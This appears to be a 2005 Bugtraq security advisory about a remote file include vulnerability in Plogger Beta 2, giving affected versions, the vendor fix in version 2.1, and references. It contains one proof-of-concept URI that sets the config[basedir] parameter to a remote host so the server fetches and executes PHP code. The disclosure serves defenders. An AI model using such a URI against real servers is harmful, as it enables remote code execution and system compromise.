Plogger Remote File Include Vulnerabilities

Bugtraq ID:	15992
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 20 2005 12:00AM
Updated:	Dec 20 2005 12:00AM
Credit:	Security .Net Information is credited with the discovery of this vulnerability.
Vulnerable:	Plogger Plogger Beta 2
Not Vulnerable:	Plogger Plogger 2.1

Plogger Remote File Include Vulnerabilities

Plogger is prone to a remote file include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Plogger Remote File Include Vulnerabilities

No exploit is required.

The following proof of concept URI is available:
http://www.example.com/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.example.com/[code]

Plogger Remote File Include Vulnerabilities

Solution:
The vendor has released an update addressing this issue:


Plogger Plogger Beta 2

• Plogger Plogger 2.1
  http://www.plogger.org/download/

Plogger Remote File Include Vulnerabilities

References:

• Plogger 2.1 Changelog (Plogger)
  
• Plogger Homepage (Plogger)
  
• Plogger Photo Gallery Remote File Include (Security .Net Information)